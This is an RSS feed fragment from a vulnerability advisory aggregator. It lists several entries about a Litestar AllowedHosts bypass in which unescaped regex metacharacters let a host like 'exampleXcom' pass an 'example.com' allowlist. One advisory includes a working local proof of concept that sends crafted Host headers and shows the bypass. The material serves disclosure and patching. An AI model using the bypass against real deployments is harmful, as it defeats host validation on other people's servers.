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    <link>https://cve.radiocsirt.org</link>
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    <lastBuildDate>Tue, 06 Oct 2026 11:34:01 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-267793</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-267793</link>
      <description>EUVD-2026-267793</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-267793</guid>
    </item>
    <item>
      <title>fkie_cve-2026-25479</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-25479</link>
      <description>&lt;p&gt;Litestar is an Asynchronous Server Gateway Interface (ASGI) framework. Prior to 2.20.0, in litestar.middleware.allowed_hosts, allowlist entries are compiled into regex patterns in a way that allows regex metacharacters to retain special meaning (e.g., . matches any character). This enables a bypass where an attacker supplies a host that matches the regex but is not the intended literal hostname. This vulnerability is fixed in 2.20.0.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Litestar is an Asynchronous Server Gateway Interface (ASGI) framework. Prior to 2.20.0, in litestar.middleware.allowed_hosts, allowlist entries are compiled into regex patterns in a way that allows regex metacharacters to retain special meaning (e.g., . matches any character). This enables a bypass where an attacker supplies a host that matches the regex but is not the intended literal hostname. This vulnerability is fixed in 2.20.0.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-25479</guid>
    </item>
    <item>
      <title>GHSA-93ph-p7v4-hwh4 — Litestar's AllowedHosts has a validation bypass due to unescaped regex metacharacters in configured host patterns</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-93ph-p7v4-hwh4</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: litestar&lt;/p&gt;
&lt;p&gt;### Summary
AllowedHosts host validation can be bypassed because configured host patterns are turned into regular expressions without escaping regex metacharacters (notably .). A configured allowlist entry like example.com can match exampleXcom&lt;/p&gt;
&lt;p&gt;### Details
In litestar.middleware.allowed_hosts, allowlist entries are compiled into regex patterns in a way that allows regex metacharacters to retain special meaning (e.g., . matches any character). This enables a bypass where an attacker supplies a host that matches the regex but is not the intended literal hostname.&lt;/p&gt;
&lt;p&gt;### PoC
Server (poc_allowed_hosts_server.py)&lt;/p&gt;
&lt;p&gt;```
from litestar import Litestar, get
from litestar.middleware.allowed_hosts import AllowedHostsConfig&lt;/p&gt;
&lt;p&gt;@get(&amp;#34;/&amp;#34;)
async def index() -&amp;gt; str:
    return &amp;#34;ok&amp;#34;&lt;/p&gt;
&lt;p&gt;config = AllowedHostsConfig(allowed_hosts=[&amp;#34;example.com&amp;#34;])
app = Litestar([index], allowed_hosts_config=config)
```&lt;/p&gt;
&lt;p&gt;`uvicorn poc_allowed_hosts_server:app --host 127.0.0.1 --port 8001`&lt;/p&gt;
&lt;p&gt;Client (poc_allowed_hosts_client.py)&lt;/p&gt;
&lt;p&gt;```
import http.client&lt;/p&gt;
&lt;p&gt;def req(host_header: str) -&amp;gt; tuple[int, bytes]:
    c = http.client.HTTPConnection(&amp;#34;127.0.0.1&amp;#34;, 8001, timeout=3)
    c.request(&amp;#34;GET&amp;#34;, &amp;#34;/&amp;#34;, headers={&amp;#34;Host&amp;#34;: host_header})
    r = c.getresponse()
    body = r.read()
    c.close()
    return r.status, body&lt;/p&gt;
&lt;p&gt;print(&amp;#34;evil.com:&amp;#34;, *req(&amp;#34;evil.com&amp;#34;))
print(&amp;#34;exampleXcom:&amp;#34;, *req(&amp;#34;exampleXcom&amp;#34;))
```&lt;/p&gt;
&lt;p&gt;Expected (vulnerable behavior):
Host: evil.com → 400 invalid host&lt;/p&gt;
&lt;p&gt;Host: exampleXcom → 200 ok (bypass)&lt;/p&gt;
&lt;p&gt;### Impact
Type: security control…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: litestar&lt;/p&gt;
&lt;p&gt;### Summary
AllowedHosts host validation can be bypassed because configured host patterns are turned into regular expressions without escaping regex metacharacters (notably .). A configured allowlist entry like example.com can match exampleXcom&lt;/p&gt;
&lt;p&gt;### Details
In litestar.middleware.allowed_hosts, allowlist entries are compiled into regex patterns in a way that allows regex metacharacters to retain special meaning (e.g., . matches any character). This enables a bypass where an attacker supplies a host that matches the regex but is not the intended literal hostname.&lt;/p&gt;
&lt;p&gt;### PoC
Server (poc_allowed_hosts_server.py)&lt;/p&gt;
&lt;p&gt;```
from litestar import Litestar, get
from litestar.middleware.allowed_hosts import AllowedHostsConfig&lt;/p&gt;
&lt;p&gt;@get(&amp;#34;/&amp;#34;)
async def index() -&amp;gt; str:
    return &amp;#34;ok&amp;#34;&lt;/p&gt;
&lt;p&gt;config = AllowedHostsConfig(allowed_hosts=[&amp;#34;example.com&amp;#34;])
app = Litestar([index], allowed_hosts_config=config)
```&lt;/p&gt;
&lt;p&gt;`uvicorn poc_allowed_hosts_server:app --host 127.0.0.1 --port 8001`&lt;/p&gt;
&lt;p&gt;Client (poc_allowed_hosts_client.py)&lt;/p&gt;
&lt;p&gt;```
import http.client&lt;/p&gt;
&lt;p&gt;def req(host_header: str) -&amp;gt; tuple[int, bytes]:
    c = http.client.HTTPConnection(&amp;#34;127.0.0.1&amp;#34;, 8001, timeout=3)
    c.request(&amp;#34;GET&amp;#34;, &amp;#34;/&amp;#34;, headers={&amp;#34;Host&amp;#34;: host_header})
    r = c.getresponse()
    body = r.read()
    c.close()
    return r.status, body&lt;/p&gt;
&lt;p&gt;print(&amp;#34;evil.com:&amp;#34;, *req(&amp;#34;evil.com&amp;#34;))
print(&amp;#34;exampleXcom:&amp;#34;, *req(&amp;#34;exampleXcom&amp;#34;))
```&lt;/p&gt;
&lt;p&gt;Expected (vulnerable behavior):
Host: evil.com → 400 invalid host&lt;/p&gt;
&lt;p&gt;Host: exampleXcom → 200 ok (bypass)&lt;/p&gt;
&lt;p&gt;### Impact
Type: security control…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-93ph-p7v4-hwh4</guid>
    </item>
    <item>
      <title>PYSEC-2026-2196</title>
      <link>https://cve.radiocsirt.org/vuln/pysec-2026-2196</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: litestar&lt;/p&gt;
&lt;p&gt;Litestar is an Asynchronous Server Gateway Interface (ASGI) framework. Prior to 2.20.0, in litestar.middleware.allowed_hosts, allowlist entries are compiled into regex patterns in a way that allows regex metacharacters to retain special meaning (e.g., . matches any character). This enables a bypass where an attacker supplies a host that matches the regex but is not the intended literal hostname. This vulnerability is fixed in 2.20.0.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: litestar&lt;/p&gt;
&lt;p&gt;Litestar is an Asynchronous Server Gateway Interface (ASGI) framework. Prior to 2.20.0, in litestar.middleware.allowed_hosts, allowlist entries are compiled into regex patterns in a way that allows regex metacharacters to retain special meaning (e.g., . matches any character). This enables a bypass where an attacker supplies a host that matches the regex but is not the intended literal hostname. This vulnerability is fixed in 2.20.0.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/pysec-2026-2196</guid>
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